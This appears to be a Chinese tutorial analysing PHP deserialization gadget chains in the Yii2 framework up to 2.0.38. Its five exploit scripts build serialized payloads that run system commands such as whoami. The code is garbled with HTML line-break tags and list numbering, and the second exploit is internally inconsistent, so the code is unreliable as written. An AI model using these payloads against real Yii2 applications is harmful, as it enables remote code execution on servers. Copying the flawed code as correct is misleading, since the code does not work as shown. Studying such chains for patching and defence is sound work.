Yii2.0.37反序列化漏洞(《=2.0.37)

环境准备

Composer + yii-basic-app-2.0.37 + windows
controllers\SiteController.php添加如下代码
yii2.0.37 0.38 - 图1

Pop1链分析

起点

在 vendor\yiisoft\yii2\db\BatchQueryResult.php 中我们找到了 destruct() 魔术方法
yii2.0.37 0.38 - 图2
接着我们跟进reset()方法
yii2.0.37 0.38 - 图3
我们发现这里的 $this->dataReader 可控
同时这里的close()方法不存在,会自动调用
call() 魔术方法
我们只需要找到一个有 call方法的类(跳板)
全局搜索
call()魔术方法
找到 \vendor\fzaninotto\faker\src\Faker\Generator.php 中的 Generator类
yii2.0.37 0.38 - 图4
继续跟进 format()方法
yii2.0.37 0.38 - 图5
继续跟进getFormatter()方法
yii2.0.37 0.38 - 图6
这里getFormatter()中的$formatter 🡪 是forma()t中的$formatter 🡪 是__cal()中的$method
说明这里的 $formatter 可控,也就是说 这里的返回值 $this->formatters[$formatter]也可控
即在 format() 中,call_user_func_arry是可控的,且第二个参数为空

因此我们现在要找一个无参数的方法来帮助我们实现任意命令代码执行

接着我们查找调用了 call_user_func()函数 的无参数方法
这里我们找到了 vendor\yiisoft\yii2\rest\IndexAction.php 中的 run()方法
yii2.0.37 0.38 - 图7
这里的 $this->checkAccess 和 $this->id 都属于可控的参数

到此我们的利用链基本可以写出来:
db\BatchQueryResult.php::destruct() 🡪 Faker\Generator::call() 🡪 rest\IndexAction::run()

Exp1

<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

  1. public function __construct(){<br /> $this->checkAccess = 'system';<br /> $this->id = 'whoami';<br /> }<br /> }<br />}

namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;

  1. public function __construct(){<br /> $this->formatters['close'] = [new CreateAction(),'run'];<br /> }<br /> }<br />}

namespace yii\db{
use Faker\Generator;

  1. class BatchQueryResult{private $_dataReader;
  2. public function __construct(){<br /> $this->_dataReader = new Generator;<br /> }<br /> }<br />}

namespace {
echo base64_encode(serialize(new yii\db\BatchQueryResult()));
}

Pop链2分析(2.0.38)

在2.0.38中将BatchQueryResult类给修复了,我们需要重新寻找起点

vendor\codeception\codeception\ext\RunProcess.php的RunProcess类有destruct()魔术方法
跟进
yii2.0.37 0.38 - 图8
在 stopPorcess()方法中 $this->process 可控,也就意味着 $process 可控
接着又调用了 isRunning()方法,从而调用
call()魔术方法
这之后可以接pop1的链

codeception\ext\RunProcess\RunProcess::destruct()🡪Faker\Generator::call()🡪rest\IndexAction::run()

exp2

<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

  1. public function __construct(){<br /> $this->checkAccess = 'system';<br /> $this->id = 'whoami';<br /> }<br /> }<br />}

namespace Faker{
use yii\rest\CreateAction;

  1. class Generator{<br /> protected $formatters;
  2. public function __construct(){<br /> /*这里需要修改*/<br /> $this->formatters['isRunning'] = [new CreateAction(), 'run'];<br /> }<br /> }<br />}<br />/*poc2*/<br />namespace Codeception\Extension{<br /> use Faker\Generator;
  3. class RunProcess{<br /> private $process;
  4. public function __construct(){<br /> $this->processes = [new Generator()];<br /> }<br /> }<br />}<br />namespace{<br /> echo base64_encode(serialize(new yii\db\BatchQueryResult));<br />}

Pop3链分析

同样是寻找 __destruct()魔术方法,这次在
vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php中
yii2.0.37 0.38 - 图9
接着我们跟进 clearAll()方法

yii2.0.37 0.38 - 图10
这里的 $this->key | $nsKey | $itemKey都可控
就是说我们可以执行clearKey()函数

继续跟进clearKey()函数
yii2.0.37 0.38 - 图11
同时我们发现这里的 $this->path 也可控

接着我们发现接下来有一个字符串拼接的操作,于是我们可以触发 toString()魔术方法
全局搜索
toString()可以找到

vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\See.php中有
yii2.0.37 0.38 - 图12
这里我们发现 $this->description 可控
而且会调用 render()方法 触发 __call()魔术方法

至此我们可以构成pop链
Swift\KeyCache\DiskKeyCache::destruct()🡪phpDocumentor\Reflection\DocBlock\Tags\See::toString()🡪Faker\Generator::__call()🡪yii\rest\IndexAction::run()

Exp3

<?php

namespace yii\rest {
class CreateAction
{
public $checkAccess;
public $id;

  1. public function __construct()<br /> {<br /> $this->checkAccess = 'system';<br /> $this->id = 'whoami';<br /> }<br /> }<br />}

namespace Faker {

  1. use yii\rest\CreateAction;
  2. class Generator<br /> {<br /> protected $formatters;
  3. public function __construct()<br /> {<br /> //同样是isRunning<br /> $this->formatters['render'] = [new CreateAction(), 'run'];<br /> }<br /> }<br />}

namespace phpDocumentor\Reflection\DocBlock\Tags {

  1. use Faker\Generator;
  2. class See<br /> {<br /> protected $description;
  3. public function __construct()<br /> {<br /> $this->description = new Generator();<br /> }<br /> }<br />}

namespace {

  1. use phpDocumentor\Reflection\DocBlock\Tags\See;
  2. class Swift_KeyCache_DiskKeyCache<br /> {<br /> private $keys = [];<br /> private $path;
  3. public function __construct()<br /> {<br /> $this->path = new See;<br /> $this->keys = array(<br /> "what" => array("am" => "i")<br /> );<br /> }<br /> }<br /> echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));<br />}

(感觉还是有这么多的__toString魔术方法,感觉肯定还可能有,可惜不怎么会审计)

Pop4链(《=2.0.37)

这条链子看网上文章,感觉还有一点不懂,总之是跟着做了先
重新接pop1的链子起点
我们不急着找跳板,而是 找到一个类,这个类中存在close()方法(我们通过$this->_dataReader来控制)
同时这个方法存在危险函数或者是延展调用链,使我们可用

于是我们找到
vendor\yiisoft\yii2\web\DbSession.php
yii2.0.37 0.38 - 图13
我们看一下 getIsActive()函数
yii2.0.37 0.38 - 图14
yii2.0.37 0.38 - 图15
说明这里我们的会话是启用的
接着我们跟进 composeFields() 函数
yii2.0.37 0.38 - 图16
这里我们发现里面的参数都是可控的

Call_user_func() 会把整个数组当做一个参数传递给回调函数,保留数字的key
(而 call_user_func_array 则会把数组中的每一个元素的值都当做一个参数传递给回调函数,key则被回调掉)

这里我们利用 call_user_func() 实例化的对象转成数组传递给函数

调用最后的run()方法(pop1)

Exp4-1

<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function
construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), “run”];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult(‘system’, ‘whoami’);
echo(base64_encode(serialize($exp)));
}

Exp4-2

<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess=’phpinfo’;
$this->id=-1;
}
}
}
namespace yii\web{
use yii\rest\CreateAction;

  1. class DbSession{<br /> protected $fields;<br /> public $writeCallback;<br /> public function __construct(){<br /> $this->writeCallback=[new CreateAction(),'run'];<br /> }<br /> }<br />}<br />namespace yii\db{<br /> use yii\web\DbSession;
  2. class BatchQueryResult{<br /> private $_dataReader;<br /> public function __construct(){<br /> $this->_dataReader=new DbSession();<br /> }<br /> }<br />}

namespace{
echo urlencode(serialize(new yii\db\BatchQueryResult));
}

参考链接

https://www.cnblogs.com/thresh/p/13743081.html